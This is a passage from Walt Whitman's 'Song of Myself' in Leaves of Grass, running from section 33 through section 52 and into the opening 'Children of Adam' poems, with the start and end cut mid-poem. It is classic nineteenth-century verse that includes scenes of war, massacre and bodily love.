paddle-shaped tall; +Over the growing sugar, over the yellow-flower'd cotton plant, over + the rice in its low moist field, +Over the sharp-peak'd farm house, with its scallop'd scum and + slender shoots from the gutters, +Over the western persimmon, over the long-leav'd corn, over the + delicate blue-flower flax, +Over the white and brown buckwheat, a hummer and buzzer there with + the rest, +Over the dusky green of the rye as it ripples and shades in the breeze; +Scaling mountains, pulling myself cautiously up, holding on by low + scragged limbs, +Walking the path worn in the grass and beat through the leaves of the brush, +Where the quail is whistling betwixt the woods and the wheat-lot, +Where the bat flies in the Seventh-month eve, where the great + goldbug drops through the dark, +Where the brook puts out of the roots of the old tree and flows to + the meadow, +Where cattle stand and shake away flies with the tremulous + shuddering of their hides, +Where the cheese-cloth hangs in the kitchen, where andirons straddle + the hearth-slab, where cobwebs fall in festoons from the rafters; +Where trip-hammers crash, where the press is whirling its cylinders, +Wherever the human heart beats with terrible throes under its ribs, +Where the pear-shaped balloon is floating aloft, (floating in it + myself and looking composedly down,) +Where the life-car is drawn on the slip-noose, where the heat + hatches pale-green eggs in the dented sand, +Where the she-whale swims with her calf and never forsakes it, +Where the steam-ship trails hind-ways its long pennant of smoke, +Where the fin of the shark cuts like a black chip out of the water, +Where the half-burn'd brig is riding on unknown currents, +Where shells grow to her slimy deck, where the dead are corrupting below; +Where the dense-starr'd flag is borne at the head of the regiments, +Approaching Manhattan up by the long-stretching island, +Under Niagara, the cataract falling like a veil over my countenance, +Upon a door-step, upon the horse-block of hard wood outside, +Upon the race-course, or enjoying picnics or jigs or a good game of + base-ball, +At he-festivals, with blackguard gibes, ironical license, + bull-dances, drinking, laughter, +At the cider-mill tasting the sweets of the brown mash, sucking the + juice through a straw, +At apple-peelings wanting kisses for all the red fruit I find, +At musters, beach-parties, friendly bees, huskings, house-raisings; +Where the mocking-bird sounds his delicious gurgles, cackles, + screams, weeps, +Where the hay-rick stands in the barn-yard, where the dry-stalks are + scatter'd, where the brood-cow waits in the hovel, +Where the bull advances to do his masculine work, where the stud to + the mare, where the cock is treading the hen, +Where the heifers browse, where geese nip their food with short jerks, +Where sun-down shadows lengthen over the limitless and lonesome prairie, +Where herds of buffalo make a crawling spread of the square miles + far and near, +Where the humming-bird shimmers, where the neck of the long-lived + swan is curving and winding, +Where the laughing-gull scoots by the shore, where she laughs her + near-human laugh, +Where bee-hives range on a gray bench in the garden half hid by the + high weeds, +Where band-neck'd partridges roost in a ring on the ground with + their heads out, +Where burial coaches enter the arch'd gates of a cemetery, +Where winter wolves bark amid wastes of snow and icicled trees, +Where the yellow-crown'd heron comes to the edge of the marsh at + night and feeds upon small crabs, +Where the splash of swimmers and divers cools the warm noon, +Where the katy-did works her chromatic reed on the walnut-tree over + the well, +Through patches of citrons and cucumbers with silver-wired leaves, +Through the salt-lick or orange glade, or under conical firs, +Through the gymnasium, through the curtain'd saloon, through the + office or public hall; +Pleas'd with the native and pleas'd with the foreign, pleas'd with + the new and old, +Pleas'd with the homely woman as well as the handsome, +Pleas'd with the quakeress as she puts off her bonnet and talks melodiously, +Pleas'd with the tune of the choir of the whitewash'd church, +Pleas'd with the earnest words of the sweating Methodist preacher, + impress'd seriously at the camp-meeting; +Looking in at the shop-windows of Broadway the whole forenoon, + flatting the flesh of my nose on the thick plate glass, +Wandering the same afternoon with my face turn'd up to the clouds, + or down a lane or along the beach, +My right and left arms round the sides of two friends, and I in the middle; +Coming home with the silent and dark-cheek'd bush-boy, (behind me + he rides at the drape of the day,) +Far from the settlements studying the print of animals' feet, or the + moccasin print, +By the cot in the hospital reaching lemonade to a feverish patient, +Nigh the coffin'd corpse when all is still, examining with a candle; +Voyaging to every port to dicker and adventure, +Hurrying with the modern crowd as eager and fickle as any, +Hot toward one I hate, ready in my madness to knife him, +Solitary at midnight in my back yard, my thoughts gone from me a long while, +Walking the old hills of Judaea with the beautiful gentle God by my side, +Speeding through space, speeding through heaven and the stars, +Speeding amid the seven satellites and the broad ring, and the + diameter of eighty thousand miles, +Speeding with tail'd meteors, throwing fire-balls like the rest, +Carrying the crescent child that carries its own full mother in its belly, +Storming, enjoying, planning, loving, cautioning, +Backing and filling, appearing and disappearing, +I tread day and night such roads. + +I visit the orchards of spheres and look at the product, +And look at quintillions ripen'd and look at quintillions green. + +I fly those flights of a fluid and swallowing soul, +My course runs below the soundings of plummets. + +I help myself to material and immaterial, +No guard can shut me off, no law prevent me. + +I anchor my ship for a little while only, +My messengers continually cruise away or bring their returns to me. + +I go hunting polar furs and the seal, leaping chasms with a + pike-pointed staff, clinging to topples of brittle and blue. + +I ascend to the foretruck, +I take my place late at night in the crow's-nest, +We sail the arctic sea, it is plenty light enough, +Through the clear atmosphere I stretch around on the wonderful beauty, +The enormous masses of ice pass me and I pass them, the scenery is + plain in all directions, +The white-topt mountains show in the distance, I fling out my + fancies toward them, +We are approaching some great battle-field in which we are soon to + be engaged, +We pass the colossal outposts of the encampment, we pass with still + feet and caution, +Or we are entering by the suburbs some vast and ruin'd city, +The blocks and fallen architecture more than all the living cities + of the globe. + +I am a free companion, I bivouac by invading watchfires, +I turn the bridgroom out of bed and stay with the bride myself, +I tighten her all night to my thighs and lips. + +My voice is the wife's voice, the screech by the rail of the stairs, +They fetch my man's body up dripping and drown'd. + +I understand the large hearts of heroes, +The courage of present times and all times, +How the skipper saw the crowded and rudderless wreck of the + steamship, and Death chasing it up and down the storm, +How he knuckled tight and gave not back an inch, and was faithful of + days and faithful of nights, +And chalk'd in large letters on a board, Be of good cheer, we will + not desert you; +How he follow'd with them and tack'd with them three days and + would not give it up, +How he saved the drifting company at last, +How the lank loose-gown'd women look'd when boated from the + side of their prepared graves, +How the silent old-faced infants and the lifted sick, and the + sharp-lipp'd unshaved men; +All this I swallow, it tastes good, I like it well, it becomes mine, +I am the man, I suffer'd, I was there. + +The disdain and calmness of martyrs, +The mother of old, condemn'd for a witch, burnt with dry wood, her + children gazing on, +The hounded slave that flags in the race, leans by the fence, + blowing, cover'd with sweat, +The twinges that sting like needles his legs and neck, the murderous + buckshot and the bullets, +All these I feel or am. + +I am the hounded slave, I wince at the bite of the dogs, +Hell and despair are upon me, crack and again crack the marksmen, +I clutch the rails of the fence, my gore dribs, thinn'd with the + ooze of my skin, +I fall on the weeds and stones, +The riders spur their unwilling horses, haul close, +Taunt my dizzy ears and beat me violently over the head with whip-stocks. + +Agonies are one of my changes of garments, +I do not ask the wounded person how he feels, I myself become the + wounded person, +My hurts turn livid upon me as I lean on a cane and observe. + +I am the mash'd fireman with breast-bone broken, +Tumbling walls buried me in their debris, +Heat and smoke I inspired, I heard the yelling shouts of my comrades, +I heard the distant click of their picks and shovels, +They have clear'd the beams away, they tenderly lift me forth. + +I lie in the night air in my red shirt, the pervading hush is for my sake, +Painless after all I lie exhausted but not so unhappy, +White and beautiful are the faces around me, the heads are bared + of their fire-caps, +The kneeling crowd fades with the light of the torches. + +Distant and dead resuscitate, +They show as the dial or move as the hands of me, I am the clock myself. + +I am an old artillerist, I tell of my fort's bombardment, +I am there again. + +Again the long roll of the drummers, +Again the attacking cannon, mortars, +Again to my listening ears the cannon responsive. + +I take part, I see and hear the whole, +The cries, curses, roar, the plaudits for well-aim'd shots, +The ambulanza slowly passing trailing its red drip, +Workmen searching after damages, making indispensable repairs, +The fall of grenades through the rent roof, the fan-shaped explosion, +The whizz of limbs, heads, stone, wood, iron, high in the air. + +Again gurgles the mouth of my dying general, he furiously waves + with his hand, +He gasps through the clot Mind not me--mind--the entrenchments. + + 34 +Now I tell what I knew in Texas in my early youth, +(I tell not the fall of Alamo, +Not one escaped to tell the fall of Alamo, +The hundred and fifty are dumb yet at Alamo,) +'Tis the tale of the murder in cold blood of four hundred and twelve + young men. + +Retreating they had form'd in a hollow square with their baggage for + breastworks, +Nine hundred lives out of the surrounding enemies, nine times their + number, was the price they took in advance, +Their colonel was wounded and their ammunition gone, +They treated for an honorable capitulation, receiv'd writing and + seal, gave up their arms and march'd back prisoners of war. + +They were the glory of the race of rangers, +Matchless with horse, rifle, song, supper, courtship, +Large, turbulent, generous, handsome, proud, and affectionate, +Bearded, sunburnt, drest in the free costume of hunters, +Not a single one over thirty years of age. + +The second First-day morning they were brought out in squads and + massacred, it was beautiful early summer, +The work commenced about five o'clock and was over by eight. + +None obey'd the command to kneel, +Some made a mad and helpless rush, some stood stark and straight, +A few fell at once, shot in the temple or heart, the living and dead + lay together, +The maim'd and mangled dug in the dirt, the new-comers saw them there, +Some half-kill'd attempted to crawl away, +These were despatch'd with bayonets or batter'd with the blunts of muskets, +A youth not seventeen years old seiz'd his assassin till two more + came to release him, +The three were all torn and cover'd with the boy's blood. + +At eleven o'clock began the burning of the bodies; +That is the tale of the murder of the four hundred and twelve young men. + + 35 +Would you hear of an old-time sea-fight? +Would you learn who won by the light of the moon and stars? +List to the yarn, as my grandmother's father the sailor told it to me. + +Our foe was no sulk in his ship I tell you, (said he,) +His was the surly English pluck, and there is no tougher or truer, + and never was, and never will be; +Along the lower'd eve he came horribly raking us. + +We closed with him, the yards entangled, the cannon touch'd, +My captain lash'd fast with his own hands. + +We had receiv'd some eighteen pound shots under the water, +On our lower-gun-deck two large pieces had burst at the first fire, + killing all around and blowing up overhead. + +Fighting at sun-down, fighting at dark, +Ten o'clock at night, the full moon well up, our leaks on the gain, + and five feet of water reported, +The master-at-arms loosing the prisoners confined in the after-hold + to give them a chance for themselves. + +The transit to and from the magazine is now stopt by the sentinels, +They see so many strange faces they do not know whom to trust. + +Our frigate takes fire, +The other asks if we demand quarter? +If our colors are struck and the fighting done? + +Now I laugh content, for I hear the voice of my little captain, +We have not struck, he composedly cries, we have just begun our part + of the fighting. + +Only three guns are in use, +One is directed by the captain himself against the enemy's main-mast, +Two well serv'd with grape and canister silence his musketry and + clear his decks. + +The tops alone second the fire of this little battery, especially + the main-top, +They hold out bravely during the whole of the action. + +Not a moment's cease, +The leaks gain fast on the pumps, the fire eats toward the powder-magazine. + +One of the pumps has been shot away, it is generally thought we are sinking. + +Serene stands the little captain, +He is not hurried, his voice is neither high nor low, +His eyes give more light to us than our battle-lanterns. + +Toward twelve there in the beams of the moon they surrender to us. + + 36 +Stretch'd and still lies the midnight, +Two great hulls motionless on the breast of the darkness, +Our vessel riddled and slowly sinking, preparations to pass to the + one we have conquer'd, +The captain on the quarter-deck coldly giving his orders through a + countenance white as a sheet, +Near by the corpse of the child that serv'd in the cabin, +The dead face of an old salt with long white hair and carefully + curl'd whiskers, +The flames spite of all that can be done flickering aloft and below, +The husky voices of the two or three officers yet fit for duty, +Formless stacks of bodies and bodies by themselves, dabs of flesh + upon the masts and spars, +Cut of cordage, dangle of rigging, slight shock of the soothe of waves, +Black and impassive guns, litter of powder-parcels, strong scent, +A few large stars overhead, silent and mournful shining, +Delicate sniffs of sea-breeze, smells of sedgy grass and fields by + the shore, death-messages given in charge to survivors, +The hiss of the surgeon's knife, the gnawing teeth of his saw, +Wheeze, cluck, swash of falling blood, short wild scream, and long, + dull, tapering groan, +These so, these irretrievable. + + 37 +You laggards there on guard! look to your arms! +In at the conquer'd doors they crowd! I am possess'd! +Embody all presences outlaw'd or suffering, +See myself in prison shaped like another man, +And feel the dull unintermitted pain. + +For me the keepers of convicts shoulder their carbines and keep watch, +It is I let out in the morning and barr'd at night. + +Not a mutineer walks handcuff'd to jail but I am handcuff'd to him + and walk by his side, +(I am less the jolly one there, and more the silent one with sweat + on my twitching lips.) + +Not a youngster is taken for larceny but I go up too, and am tried + and sentenced. + +Not a cholera patient lies at the last gasp but I also lie at the last gasp, +My face is ash-color'd, my sinews gnarl, away from me people retreat. + +Askers embody themselves in me and I am embodied in them, +I project my hat, sit shame-faced, and beg. + + 38 +Enough! enough! enough! +Somehow I have been stunn'd. Stand back! +Give me a little time beyond my cuff'd head, slumbers, dreams, gaping, +I discover myself on the verge of a usual mistake. + +That I could forget the mockers and insults! +That I could forget the trickling tears and the blows of the + bludgeons and hammers! +That I could look with a separate look on my own crucifixion and + bloody crowning. + +I remember now, +I resume the overstaid fraction, +The grave of rock multiplies what has been confided to it, or to any graves, +Corpses rise, gashes heal, fastenings roll from me. + +I troop forth replenish'd with supreme power, one of an average + unending procession, +Inland and sea-coast we go, and pass all boundary lines, +Our swift ordinances on their way over the whole earth, +The blossoms we wear in our hats the growth of thousands of years. + +Eleves, I salute you! come forward! +Continue your annotations, continue your questionings. + + 39 +The friendly and flowing savage, who is he? +Is he waiting for civilization, or past it and mastering it? + +Is he some Southwesterner rais'd out-doors? is he Kanadian? +Is he from the Mississippi country? Iowa, Oregon, California? +The mountains? prairie-life, bush-life? or sailor from the sea? + +Wherever he goes men and women accept and desire him, +They desire he should like them, touch them, speak to them, stay with them. + +Behavior lawless as snow-flakes, words simple as grass, uncomb'd + head, laughter, and naivete, +Slow-stepping feet, common features, common modes and emanations, +They descend in new forms from the tips of his fingers, +They are wafted with the odor of his body or breath, they fly out of + the glance of his eyes. + + 40 +Flaunt of the sunshine I need not your bask--lie over! +You light surfaces only, I force surfaces and depths also. + +Earth! you seem to look for something at my hands, +Say, old top-knot, what do you want? + +Man or woman, I might tell how I like you, but cannot, +And might tell what it is in me and what it is in you, but cannot, +And might tell that pining I have, that pulse of my nights and days. + +Behold, I do not give lectures or a little charity, +When I give I give myself. + +You there, impotent, loose in the knees, +Open your scarf'd chops till I blow grit within you, +Spread your palms and lift the flaps of your pockets, +I am not to be denied, I compel, I have stores plenty and to spare, +And any thing I have I bestow. + +I do not ask who you are, that is not important to me, +You can do nothing and be nothing but what I will infold you. + +To cotton-field drudge or cleaner of privies I lean, +On his right cheek I put the family kiss, +And in my soul I swear I never will deny him. + +On women fit for conception I start bigger and nimbler babes. +(This day I am jetting the stuff of far more arrogant republics.) + +To any one dying, thither I speed and twist the knob of the door. +Turn the bed-clothes toward the foot of the bed, +Let the physician and the priest go home. + +I seize the descending man and raise him with resistless will, +O despairer, here is my neck, +By God, you shall not go down! hang your whole weight upon me. + +I dilate you with tremendous breath, I buoy you up, +Every room of the house do I fill with an arm'd force, +Lovers of me, bafflers of graves. + +Sleep--I and they keep guard all night, +Not doubt, not decease shall dare to lay finger upon you, +I have embraced you, and henceforth possess you to myself, +And when you rise in the morning you will find what I tell you is so. + + 41 +I am he bringing help for the sick as they pant on their backs, +And for strong upright men I bring yet more needed help. + +I heard what was said of the universe, +Heard it and heard it of several thousand years; +It is middling well as far as it goes--but is that all? + +Magnifying and applying come I, +Outbidding at the start the old cautious hucksters, +Taking myself the exact dimensions of Jehovah, +Lithographing Kronos, Zeus his son, and Hercules his grandson, +Buying drafts of Osiris, Isis, Belus, Brahma, Buddha, +In my portfolio placing Manito loose, Allah on a leaf, the crucifix + engraved, +With Odin and the hideous-faced Mexitli and every idol and image, +Taking them all for what they are worth and not a cent more, +Admitting they were alive and did the work of their days, +(They bore mites as for unfledg'd birds who have now to rise and fly + and sing for themselves,) +Accepting the rough deific sketches to fill out better in myself, + bestowing them freely on each man and woman I see, +Discovering as much or more in a framer framing a house, +Putting higher claims for him there with his roll'd-up sleeves + driving the mallet and chisel, +Not objecting to special revelations, considering a curl of smoke or + a hair on the back of my hand just as curious as any revelation, +Lads ahold of fire-engines and hook-and-ladder ropes no less to me + than the gods of the antique wars, +Minding their voices peal through the crash of destruction, +Their brawny limbs passing safe over charr'd laths, their white + foreheads whole and unhurt out of the flames; +By the mechanic's wife with her babe at her nipple interceding for + every person born, +Three scythes at harvest whizzing in a row from three lusty angels + with shirts bagg'd out at their waists, +The snag-tooth'd hostler with red hair redeeming sins past and to come, +Selling all he possesses, traveling on foot to fee lawyers for his + brother and sit by him while he is tried for forgery; +What was strewn in the amplest strewing the square rod about me, and + not filling the square rod then, +The bull and the bug never worshipp'd half enough, +Dung and dirt more admirable than was dream'd, +The supernatural of no account, myself waiting my time to be one of + the supremes, +The day getting ready for me when I shall do as much good as the + best, and be as prodigious; +By my life-lumps! becoming already a creator, +Putting myself here and now to the ambush'd womb of the shadows. + + + 42 +A call in the midst of the crowd, +My own voice, orotund sweeping and final. + +Come my children, +Come my boys and girls, my women, household and intimates, +Now the performer launches his nerve, he has pass'd his prelude on + the reeds within. + +Easily written loose-finger'd chords--I feel the thrum of your + climax and close. + +My head slues round on my neck, +Music rolls, but not from the organ, +Folks are around me, but they are no household of mine. + +Ever the hard unsunk ground, +Ever the eaters and drinkers, ever the upward and downward sun, ever + the air and the ceaseless tides, +Ever myself and my neighbors, refreshing, wicked, real, +Ever the old inexplicable query, ever that thorn'd thumb, that + breath of itches and thirsts, +Ever the vexer's hoot! hoot! till we find where the sly one hides + and bring him forth, +Ever love, ever the sobbing liquid of life, +Ever the bandage under the chin, ever the trestles of death. + +Here and there with dimes on the eyes walking, +To feed the greed of the belly the brains liberally spooning, +Tickets buying, taking, selling, but in to the feast never once going, +Many sweating, ploughing, thrashing, and then the chaff for payment + receiving, +A few idly owning, and they the wheat continually claiming. + +This is the city and I am one of the citizens, +Whatever interests the rest interests me, politics, wars, markets, + newspapers, schools, +The mayor and councils, banks, tariffs, steamships, factories, + stocks, stores, real estate and personal estate. + +The little plentiful manikins skipping around in collars and tail'd coats +I am aware who they are, (they are positively not worms or fleas,) +I acknowledge the duplicates of myself, the weakest and shallowest + is deathless with me, +What I do and say the same waits for them, +Every thought that flounders in me the same flounders in them. + +I know perfectly well my own egotism, +Know my omnivorous lines and must not write any less, +And would fetch you whoever you are flush with myself. + +Not words of routine this song of mine, +But abruptly to question, to leap beyond yet nearer bring; +This printed and bound book--but the printer and the + printing-office boy? +The well-taken photographs--but your wife or friend close and solid + in your arms? +The black ship mail'd with iron, her mighty guns in her turrets--but + the pluck of the captain and engineers? +In the houses the dishes and fare and furniture--but the host and + hostess, and the look out of their eyes? +The sky up there--yet here or next door, or across the way? +The saints and sages in history--but you yourself? +Sermons, creeds, theology--but the fathomless human brain, +And what is reason? and what is love? and what is life? + + 43 +I do not despise you priests, all time, the world over, +My faith is the greatest of faiths and the least of faiths, +Enclosing worship ancient and modern and all between ancient and modern, +Believing I shall come again upon the earth after five thousand years, +Waiting responses from oracles, honoring the gods, saluting the sun, +Making a fetich of the first rock or stump, powowing with sticks in + the circle of obis, +Helping the llama or brahmin as he trims the lamps of the idols, +Dancing yet through the streets in a phallic procession, rapt and + austere in the woods a gymnosophist, +Drinking mead from the skull-cap, to Shastas and Vedas admirant, + minding the Koran, +Walking the teokallis, spotted with gore from the stone and knife, + beating the serpent-skin drum, +Accepting the Gospels, accepting him that was crucified, knowing + assuredly that he is divine, +To the mass kneeling or the puritan's prayer rising, or sitting + patiently in a pew, +Ranting and frothing in my insane crisis, or waiting dead-like till + my spirit arouses me, +Looking forth on pavement and land, or outside of pavement and land, +Belonging to the winders of the circuit of circuits. + +One of that centripetal and centrifugal gang I turn and talk like + man leaving charges before a journey. + +Down-hearted doubters dull and excluded, +Frivolous, sullen, moping, angry, affected, dishearten'd, atheistical, +I know every one of you, I know the sea of torment, doubt, despair + and unbelief. + +How the flukes splash! +How they contort rapid as lightning, with spasms and spouts of blood! + +Be at peace bloody flukes of doubters and sullen mopers, +I take my place among you as much as among any, +The past is the push of you, me, all, precisely the same, +And what is yet untried and afterward is for you, me, all, precisely + the same. + +I do not know what is untried and afterward, +But I know it will in its turn prove sufficient, and cannot fail. + +Each who passes is consider'd, each who stops is consider'd, not + single one can it fall. + +It cannot fall the young man who died and was buried, +Nor the young woman who died and was put by his side, +Nor the little child that peep'd in at the door, and then drew back + and was never seen again, +Nor the old man who has lived without purpose, and feels it with + bitterness worse than gall, +Nor him in the poor house tubercled by rum and the bad disorder, +Nor the numberless slaughter'd and wreck'd, nor the brutish koboo + call'd the ordure of humanity, +Nor the sacs merely floating with open mouths for food to slip in, +Nor any thing in the earth, or down in the oldest graves of the earth, +Nor any thing in the myriads of spheres, nor the myriads of myriads + that inhabit them, +Nor the present, nor the least wisp that is known. + + 44 +It is time to explain myself--let us stand up. + +What is known I strip away, +I launch all men and women forward with me into the Unknown. + +The clock indicates the moment--but what does eternity indicate? + +We have thus far exhausted trillions of winters and summers, +There are trillions ahead, and trillions ahead of them. + +Births have brought us richness and variety, +And other births will bring us richness and variety. + +I do not call one greater and one smaller, +That which fills its period and place is equal to any. + +Were mankind murderous or jealous upon you, my brother, my sister? +I am sorry for you, they are not murderous or jealous upon me, +All has been gentle with me, I keep no account with lamentation, +(What have I to do with lamentation?) + +I am an acme of things accomplish'd, and I an encloser of things to be. + +My feet strike an apex of the apices of the stairs, +On every step bunches of ages, and larger bunches between the steps, +All below duly travel'd, and still I mount and mount. + +Rise after rise bow the phantoms behind me, +Afar down I see the huge first Nothing, I know I was even there, +I waited unseen and always, and slept through the lethargic mist, +And took my time, and took no hurt from the fetid carbon. + +Long I was hugg'd close--long and long. + +Immense have been the preparations for me, +Faithful and friendly the arms that have help'd me. + +Cycles ferried my cradle, rowing and rowing like cheerful boatmen, +For room to me stars kept aside in their own rings, +They sent influences to look after what was to hold me. + +Before I was born out of my mother generations guided me, +My embryo has never been torpid, nothing could overlay it. + +For it the nebula cohered to an orb, +The long slow strata piled to rest it on, +Vast vegetables gave it sustenance, +Monstrous sauroids transported it in their mouths and deposited it + with care. + +All forces have been steadily employ'd to complete and delight me, +Now on this spot I stand with my robust soul. + + + 45 +O span of youth! ever-push'd elasticity! +O manhood, balanced, florid and full. + +My lovers suffocate me, +Crowding my lips, thick in the pores of my skin, +Jostling me through streets and public halls, coming naked to me at night, +Crying by day, Ahoy! from the rocks of the river, swinging and + chirping over my head, +Calling my name from flower-beds, vines, tangled underbrush, +Lighting on every moment of my life, +Bussing my body with soft balsamic busses, +Noiselessly passing handfuls out of their hearts and giving them to be mine. + +Old age superbly rising! O welcome, ineffable grace of dying days! + +Every condition promulges not only itself, it promulges what grows + after and out of itself, +And the dark hush promulges as much as any. + +I open my scuttle at night and see the far-sprinkled systems, +And all I see multiplied as high as I can cipher edge but the rim of + the farther systems. + +Wider and wider they spread, expanding, always expanding, +Outward and outward and forever outward. + +My sun has his sun and round him obediently wheels, +He joins with his partners a group of superior circuit, +And greater sets follow, making specks of the greatest inside them. + +There is no stoppage and never can be stoppage, +If I, you, and the worlds, and all beneath or upon their surfaces, + were this moment reduced back to a pallid float, it would + not avail the long run, +We should surely bring up again where we now stand, +And surely go as much farther, and then farther and farther. + +A few quadrillions of eras, a few octillions of cubic leagues, do + not hazard the span or make it impatient, +They are but parts, any thing is but a part. + +See ever so far, there is limitless space outside of that, +Count ever so much, there is limitless time around that. + +My rendezvous is appointed, it is certain, +The Lord will be there and wait till I come on perfect terms, +The great Camerado, the lover true for whom I pine will be there. + + 46 +I know I have the best of time and space, and was never measured and + never will be measured. + +I tramp a perpetual journey, (come listen all!) +My signs are a rain-proof coat, good shoes, and a staff cut from the woods, +No friend of mine takes his ease in my chair, +I have no chair, no church, no philosophy, +I lead no man to a dinner-table, library, exchange, +But each man and each woman of you I lead upon a knoll, +My left hand hooking you round the waist, +My right hand pointing to landscapes of continents and the public road. + +Not I, not any one else can travel that road for you, +You must travel it for yourself. + +It is not far, it is within reach, +Perhaps you have been on it since you were born and did not know, +Perhaps it is everywhere on water and on land. + +Shoulder your duds dear son, and I will mine, and let us hasten forth, +Wonderful cities and free nations we shall fetch as we go. + +If you tire, give me both burdens, and rest the chuff of your hand + on my hip, +And in due time you shall repay the same service to me, +For after we start we never lie by again. + +This day before dawn I ascended a hill and look'd at the crowded heaven, +And I said to my spirit When we become the enfolders of those orbs, + and the pleasure and knowledge of every thing in them, shall we + be fill'd and satisfied then? +And my spirit said No, we but level that lift to pass and continue beyond. + +You are also asking me questions and I hear you, +I answer that I cannot answer, you must find out for yourself. + +Sit a while dear son, +Here are biscuits to eat and here is milk to drink, +But as soon as you sleep and renew yourself in sweet clothes, I kiss you + with a good-by kiss and open the gate for your egress hence. + +Long enough have you dream'd contemptible dreams, +Now I wash the gum from your eyes, +You must habit yourself to the dazzle of the light and of every + moment of your life. + +Long have you timidly waded holding a plank by the shore, +Now I will you to be a bold swimmer, +To jump off in the midst of the sea, rise again, nod to me, shout, + and laughingly dash with your hair. + + 47 +I am the teacher of athletes, +He that by me spreads a wider breast than my own proves the width of my own, +He most honors my style who learns under it to destroy the teacher. + +The boy I love, the same becomes a man not through derived power, + but in his own right, +Wicked rather than virtuous out of conformity or fear, +Fond of his sweetheart, relishing well his steak, +Unrequited love or a slight cutting him worse than sharp steel cuts, +First-rate to ride, to fight, to hit the bull's eye, to sail a + skiff, to sing a song or play on the banjo, +Preferring scars and the beard and faces pitted with small-pox over + all latherers, +And those well-tann'd to those that keep out of the sun. + +I teach straying from me, yet who can stray from me? +I follow you whoever you are from the present hour, +My words itch at your ears till you understand them. + +I do not say these things for a dollar or to fill up the time while + I wait for a boat, +(It is you talking just as much as myself, I act as the tongue of you, +Tied in your mouth, in mine it begins to be loosen'd.) + +I swear I will never again mention love or death inside a house, +And I swear I will never translate myself at all, only to him or her + who privately stays with me in the open air. + +If you would understand me go to the heights or water-shore, +The nearest gnat is an explanation, and a drop or motion of waves key, +The maul, the oar, the hand-saw, second my words. + +No shutter'd room or school can commune with me, +But roughs and little children better than they. + +The young mechanic is closest to me, he knows me well, +The woodman that takes his axe and jug with him shall take me with + him all day, +The farm-boy ploughing in the field feels good at the sound of my voice, +In vessels that sail my words sail, I go with fishermen and seamen + and love them. + +The soldier camp'd or upon the march is mine, +On the night ere the pending battle many seek me, and I do not fail them, +On that solemn night (it may be their last) those that know me seek me. +My face rubs to the hunter's face when he lies down alone in his blanket, +The driver thinking of me does not mind the jolt of his wagon, +The young mother and old mother comprehend me, +The girl and the wife rest the needle a moment and forget where they are, +They and all would resume what I have told them. + + 48 +I have said that the soul is not more than the body, +And I have said that the body is not more than the soul, +And nothing, not God, is greater to one than one's self is, +And whoever walks a furlong without sympathy walks to his own + funeral drest in his shroud, +And I or you pocketless of a dime may purchase the pick of the earth, +And to glance with an eye or show a bean in its pod confounds the + learning of all times, +And there is no trade or employment but the young man following it + may become a hero, +And there is no object so soft but it makes a hub for the wheel'd universe, +And I say to any man or woman, Let your soul stand cool and composed + before a million universes. + +And I say to mankind, Be not curious about God, +For I who am curious about each am not curious about God, +(No array of terms can say how much I am at peace about God and + about death.) + +I hear and behold God in every object, yet understand God not in the least, +Nor do I understand who there can be more wonderful than myself. + +Why should I wish to see God better than this day? +I see something of God each hour of the twenty-four, and each moment then, +In the faces of men and women I see God, and in my own face in the glass, +I find letters from God dropt in the street, and every one is sign'd + by God's name, +And I leave them where they are, for I know that wheresoe'er I go, +Others will punctually come for ever and ever. + + 49 +And as to you Death, and you bitter hug of mortality, it is idle to + try to alarm me. + +To his work without flinching the accoucheur comes, +I see the elder-hand pressing receiving supporting, +I recline by the sills of the exquisite flexible doors, +And mark the outlet, and mark the relief and escape. + +And as to you Corpse I think you are good manure, but that does not + offend me, +I smell the white roses sweet-scented and growing, +I reach to the leafy lips, I reach to the polish'd breasts of melons. + +And as to you Life I reckon you are the leavings of many deaths, +(No doubt I have died myself ten thousand times before.) + +I hear you whispering there O stars of heaven, +O suns--O grass of graves--O perpetual transfers and promotions, +If you do not say any thing how can I say any thing? + +Of the turbid pool that lies in the autumn forest, +Of the moon that descends the steeps of the soughing twilight, +Toss, sparkles of day and dusk--toss on the black stems that decay + in the muck, +Toss to the moaning gibberish of the dry limbs. + +I ascend from the moon, I ascend from the night, +I perceive that the ghastly glimmer is noonday sunbeams reflected, +And debouch to the steady and central from the offspring great or small. + + 50 +There is that in me--I do not know what it is--but I know it is in me. + +Wrench'd and sweaty--calm and cool then my body becomes, +I sleep--I sleep long. + +I do not know it--it is without name--it is a word unsaid, +It is not in any dictionary, utterance, symbol. + +Something it swings on more than the earth I swing on, +To it the creation is the friend whose embracing awakes me. + +Perhaps I might tell more. Outlines! I plead for my brothers and sisters. + +Do you see O my brothers and sisters? +It is not chaos or death--it is form, union, plan--it is eternal + life--it is Happiness. + + 51 +The past and present wilt--I have fill'd them, emptied them. +And proceed to fill my next fold of the future. + +Listener up there! what have you to confide to me? +Look in my face while I snuff the sidle of evening, +(Talk honestly, no one else hears you, and I stay only a minute longer.) + +Do I contradict myself? +Very well then I contradict myself, +(I am large, I contain multitudes.) + +I concentrate toward them that are nigh, I wait on the door-slab. + +Who has done his day's work? who will soonest be through with his supper? +Who wishes to walk with me? + +Will you speak before I am gone? will you prove already too late? + + 52 +The spotted hawk swoops by and accuses me, he complains of my gab + and my loitering. + +I too am not a bit tamed, I too am untranslatable, +I sound my barbaric yawp over the roofs of the world. + +The last scud of day holds back for me, +It flings my likeness after the rest and true as any on the shadow'd wilds, +It coaxes me to the vapor and the dusk. + +I depart as air, I shake my white locks at the runaway sun, +I effuse my flesh in eddies, and drift it in lacy jags. + +I bequeath myself to the dirt to grow from the grass I love, +If you want me again look for me under your boot-soles. + +You will hardly know who I am or what I mean, +But I shall be good health to you nevertheless, +And filter and fibre your blood. + +Failing to fetch me at first keep encouraged, +Missing me one place search another, +I stop somewhere waiting for you. + + + +[BOOK IV. CHILDREN OF ADAM] + +} To the Garden the World + +To the garden the world anew ascending, +Potent mates, daughters, sons, preluding, +The love, the life of their bodies, meaning and being, +Curious here behold my resurrection after slumber, +The revolving cycles in their wide sweep having brought me again, +Amorous, mature, all beautiful to me, all wondrous, +My limbs and the quivering fire that ever plays through them, for + reasons, most wondrous, +Existing I peer and penetrate still, +Content with the present, content with the past, +By my side or back of me Eve following, +Or in front, and I following her just the same. + + + +} From Pent-Up Aching Rivers + +From pent-up aching rivers, +From that of myself without which I were nothing, +From what I am determin'd to make illustrious, even if I stand sole + among men, +From my own voice resonant, singing the phallus, +Singing the song of procreation, +Singing the need of superb children and therein superb grown people, +Singing the muscular urge and the blending, +Singing the bedfellow's song, (O resistless yearning! +O for any and each the body correlative attracting! +O for you whoever you are your correlative body! 